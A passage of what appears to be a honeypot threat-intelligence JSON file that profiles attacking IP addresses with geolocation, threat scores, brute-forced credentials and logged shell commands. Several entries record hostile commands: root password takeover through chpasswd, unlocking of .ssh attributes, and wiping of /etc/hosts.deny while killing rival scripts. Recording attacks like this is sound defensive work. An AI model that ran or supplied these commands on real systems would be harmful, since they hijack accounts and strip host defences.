        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 263,
        "Suricata": 68
      }
    },
    "189.90.33.23": {
      "attack_count": 261,
      "first_seen": "2026-03-10T02:11:38.235Z",
      "last_seen": "2026-03-10T02:35:21.410Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "devuser",
        "ts3",
        "clawd",
        "jupyter",
        "km",
        "mobiquity",
        "nfe",
        "onlyoffice",
        "simeon"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "123",
        "1234",
        "Minijer.com",
        "Nfe123!",
        "km123!",
        "mobiquity123",
        "onlyoffice",
        "qaz123456.",
        "simeon1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1234\\n0pstEZz21Hd7\\n0pstEZz21Hd7\\n\"|passwd",
        "echo \"123\\nTyEVnmXaRCcw\\nTyEVnmXaRCcw\\n\"|passwd",
        "echo \"root:iVNl4x3t8ZYb\"|chpasswd|bash",
        "echo -e \"1234\\n0pstEZz21Hd7\\n0pstEZz21Hd7\"|passwd|bash",
        "echo -e \"123\\nTyEVnmXaRCcw\\nTyEVnmXaRCcw\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Imperatriz",
      "asn": 28191,
      "as_org": "Jupiter Telecomunicacoes e Informatica Ltda",
      "threat_score": 11.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 299,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T02:11:38.235000+00:00",
        "last_seen_30d": "2026-03-10T02:36:21.807000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 261,
        "Suricata": 38
      }
    },
    "167.71.238.176": {
      "attack_count": 230,
      "first_seen": "2026-03-11T21:47:14.650Z",
      "last_seen": "2026-03-11T23:41:41.226Z",
      "sessions": 46,
      "ports": [],
      "usernames_attempted": [
        "root",
        "cims.user",
        "ftp",
        "ftp_user",
        "site",
        "ansible",
        "erp",
        "nsrecover",
        "odoo",
        "oracle",
        "osmc",
        "rabbitmq",
        "radio",
        "sftp",
        "sysadmin",
        "user",
        "vyatta",
        "vyos",
        "webadmin"
      ],
      "passwords_attempted": [
        "12345678",
        "soda",
        "0",
        "000000",
        "111111",
        "11223311",
        "12",
        "123",
        "123!",
        "123.com",
        "1234",
        "123456",
        "123456.cn",
        "1234567890",
        "1234567a",
        "123@qq.com",
        "163.com",
        "1988",
        "1q2w3e4r5t6y",
        "1qaz!QAZ"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 14.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 344,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T21:39:10.103000+00:00",
        "last_seen_30d": "2026-03-11T23:42:42.264000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 230,
        "Suricata": 114
      }
    },
    "37.59.110.4": {
      "attack_count": 212,
      "first_seen": "2026-03-02T07:18:42.389Z",
      "last_seen": "2026-03-26T00:30:07.243Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "molly",
        "champion",
        "cuda",
        "openvpn",
        "pearl"
      ],
      "passwords_attempted": [
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "!@#$1234qwer",
        "123",
        "2112",
        "A123456!",
        "A@12345678",
        "Abc123123@",
        "Admin@12345678",
        "Hello2024",
        "Password@_",
        "Woaini123",
        "babu",
        "molly",
        "openvpn1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"molly\\n3W3ZAbMb5cYD\\n3W3ZAbMb5cYD\\n\"|passwd",
        "echo \"root:g6X6Icn5C0iX\"|chpasswd|bash",
        "echo -e \"molly\\n3W3ZAbMb5cYD\\n3W3ZAbMb5cYD\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 47.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 24.1,
        "persistence": 20.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 256,
        "days_active_30d": 25,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T07:18:42.389000+00:00",
        "last_seen_30d": "2026-03-26T00:31:10.235000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 212,
        "Suricata": 44
      }
    },
    "54.36.99.29": {
      "attack_count": 188,
      "first_seen": "2026-03-07T09:09:48.391Z",
      "last_seen": "2026-03-07T09:26:52.171Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "cyber",
        "sbbs",
        "applmgr",
        "coolify",
        "frontend",
        "gbase",
        "george",
        "oracle",
        "proxyuser",
        "wilson"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123.com",
        "1234",
        "Applmgr123",
        "coolify123!",
        "cyber123",
        "frontend",
        "gbasepass",
        "george",
        "sbbs1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"cyber123\\n4YTNFSWaZgcq\\n4YTNFSWaZgcq\\n\"|passwd",
        "echo \"sbbs1234\\netBFf4g9DbuX\\netBFf4g9DbuX\\n\"|passwd",
        "echo -e \"cyber123\\n4YTNFSWaZgcq\\n4YTNFSWaZgcq\"|passwd|bash",
        "echo -e \"sbbs1234\\netBFf4g9DbuX\\netBFf4g9DbuX\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 7.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 220,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T09:09:48.391000+00:00",
        "last_seen_30d": "2026-03-07T09:27:59.246000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 188,
        "Suricata": 32
      }
    },
    "68.183.203.22": {
      "attack_count": 186,
      "first_seen": "2026-03-26T10:07:40.362Z",
      "last_seen": "2026-03-28T21:05:50.569Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "jun",
        "melo",
        "ww"
      ],
      "passwords_attempted": [
        "345gs5662d34",
        "050505",
        "123456",
        "1234bnm,",
        "3245gs5662d34",
        "BT@123456",
        "donkey",
        "jun123!",
        "melo1234",
        "qawsedrftg",
        "smart123",
        "zxmzxm"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\noayxsG9hrMDM\\noayxsG9hrMDM\\n\"|passwd",
        "echo \"root:GYsjhns80E1H\"|chpasswd|bash",
        "echo -e \"123456\\noayxsG9hrMDM\\noayxsG9hrMDM\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Toronto",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 34.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.6,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 227,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T10:07:40.362000+00:00",
        "last_seen_30d": "2026-03-28T21:14:18.120000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 186,
        "Suricata": 41
      }
    },
    "171.244.61.82": {
      "attack_count": 183,
      "first_seen": "2026-03-07T00:18:17.363Z",
      "last_seen": "2026-03-07T00:48:51.296Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "jon",
        "reolink",
        "atlas",
        "ftp_test",
        "hik",
        "hr",
        "mama",
        "mk",
        "root"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123456",
        "@qwer2026",
        "Ftp_test123",
        "Hik@2022",
        "atlas123",
        "hrpass",
        "jon1234",
        "mama123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1234\\nlx1XgPRcLfut\\nlx1XgPRcLfut\\n\"|passwd",
        "echo \"jon1234\\nB81LQs1IFr8q\\nB81LQs1IFr8q\\n\"|passwd",
        "echo -e \"1234\\nlx1XgPRcLfut\\nlx1XgPRcLfut\"|passwd|bash",
        "echo -e \"jon1234\\nB81LQs1IFr8q\\nB81LQs1IFr8q\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 38731,
      "as_org": "CHT Compamy Ltd",
      "threat_score": 7.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 213,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T00:18:17.363000+00:00",
        "last_seen_30d": "2026-03-07T00:49:56.549000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 183,
        "Suricata": 30
      }
    },
    "196.196.253.20": {
      "attack_count": 123,
      "first_seen": "2026-03-04T08:01:35.555Z",
      "last_seen": "2026-03-04T08:27:08.356Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "123123123",
        "1Qazxsw@",
        "3245gs5662d34",
        "345gs5662d34",
        "A123123a",
        "A@123456",
        "Aa123456!",
        "Bingo@1993",
        "Ga123456",
        "Qwe123",
        "check123",
        "kostas",
        "wang@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:Fc4F4kPwzh7n\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "City of London",
      "asn": 58065,
      "as_org": "Orion Network Limited",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 154,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T08:01:35.555000+00:00",
        "last_seen_30d": "2026-03-04T08:28:10.342000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 123,
        "Suricata": 31
      }
    },
    "201.6.100.191": {
      "attack_count": 121,
      "first_seen": "2026-03-05T09:41:07.296Z",
      "last_seen": "2026-03-05T10:14:03.580Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "user",
        "345gs5662d34",
        "ubuntu"
      ],
      "passwords_attempted": [
        "123456Aa.",
        "3245gs5662d34",
        "345gs5662d34",
        "A123456A722",
        "Aa1234&",
        "P@ssw2rd",
        "a123456sd",
        "aA@2023",
        "abc12345",
        "asd123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"a123456sd\\nI96Ci4WNE4Gy\\nI96Ci4WNE4Gy\\n\"|passwd",
        "echo -e \"a123456sd\\nI96Ci4WNE4Gy\\nI96Ci4WNE4Gy\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 28573,
      "as_org": "Claro NXT Telecomunicacoes Ltda",
      "threat_score": 4.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 153,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T09:41:07.296000+00:00",
        "last_seen_30d": "2026-03-05T10:24:26.227000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 121,
        "Suricata": 32
      }
    },
    "134.209.82.173": {
      "attack_count": 90,
      "first_seen": "2026-03-03T17:31:17.647Z",
      "last_seen": "2026-03-03T17:48:48.701Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1234",
        "12345",
        "123456",
        "12345678",
        "P@ssw0rd",
        "Password1",
        "admin",
        "docker",
        "passw0rd",
        "password",
        "qwerty",
        "raspberry",
        "root",
        "root123",
        "toor",
        "ubuntu"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 129,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T17:31:02.444000+00:00",
        "last_seen_30d": "2026-03-03T17:49:55.040000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 90,
        "Suricata": 39
      }
    },
    "160.251.169.213": {
      "attack_count": 89,
      "first_seen": "2026-03-26T16:42:42.474Z",
      "last_seen": "2026-03-26T16:54:59.645Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "alert",
        "jeff",
        "qa",
        "rhev",
        "sre"
      ],
      "passwords_attempted": [
        "345gs5662d34",
        "alert123",
        "jeff",
        "qa",
        "rhev",
        "sre"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"jeff\\nRQucKpIUI4hz\\nRQucKpIUI4hz\\n\"|passwd",
        "echo -e \"jeff\\nRQucKpIUI4hz\\nRQucKpIUI4hz\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": null,
      "asn": 58791,
      "as_org": "GMO Internet Group, Inc.",
      "threat_score": 27.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 104,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T16:42:42.474000+00:00",
        "last_seen_30d": "2026-03-26T16:56:01.463000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 89,
        "Suricata": 15
      }
    },
    "101.47.142.48": {
      "attack_count": 73,
      "first_seen": "2026-03-03T05:59:44.221Z",
      "last_seen": "2026-03-03T06:54:23.183Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "1233218613f",
        "3245gs5662d34",
        "345gs5662d34",
        "a123321",
        "a123b456",
        "a444444",
        "a87101766",
        "aa584521.521",
        "aa654123",
        "eve",
        "idc123!@#",
        "swordfish",
        "toor123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 3.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 106,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T05:59:44.221000+00:00",
        "last_seen_30d": "2026-03-03T06:55:27.616000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 73,
        "Suricata": 33
      }
    },
    "223.123.38.34": {
      "attack_count": 68,
      "first_seen": "2026-03-11T05:41:14.042Z",
      "last_seen": "2026-03-31T03:16:22.393Z",
      "sessions": 34,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 138423,
      "as_org": "CMPak Limited",
      "threat_score": 56.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.4,
        "persistence": 17.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 109,
        "days_active_30d": 21,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-11T05:41:14.042000+00:00",
        "last_seen_30d": "2026-03-31T03:17:23.520000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 68,
        "Suricata": 40,
        "Honeytrap": 1
      }
    },
    "68.183.35.218": {
      "attack_count": 60,
      "first_seen": "2026-03-16T12:38:38.087Z",
      "last_seen": "2026-03-16T12:49:42.584Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1234",
        "12345",
        "123456",
        "12345678",
        "123456789",
        "admin",
        "password",
        "password1",
        "qwerty",
        "root"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 16.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 86,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T12:38:38.087000+00:00",
        "last_seen_30d": "2026-03-16T12:50:51.681000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 60,
        "Suricata": 26
      }
    },
    "157.245.13.48": {
      "attack_count": 56,
      "first_seen": "2026-03-12T16:42:18.020Z",
      "last_seen": "2026-03-13T10:48:22.417Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "sol",
        "ubuntu",
        "solana"
      ],
      "passwords_attempted": [
        "sol",
        "ubuntu",
        "solana"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Clifton",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 13.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 89,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T16:40:21.501000+00:00",
        "last_seen_30d": "2026-03-13T10:49:31.397000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 56,
        "Suricata": 33
      }
    },
    "175.107.228.108": {
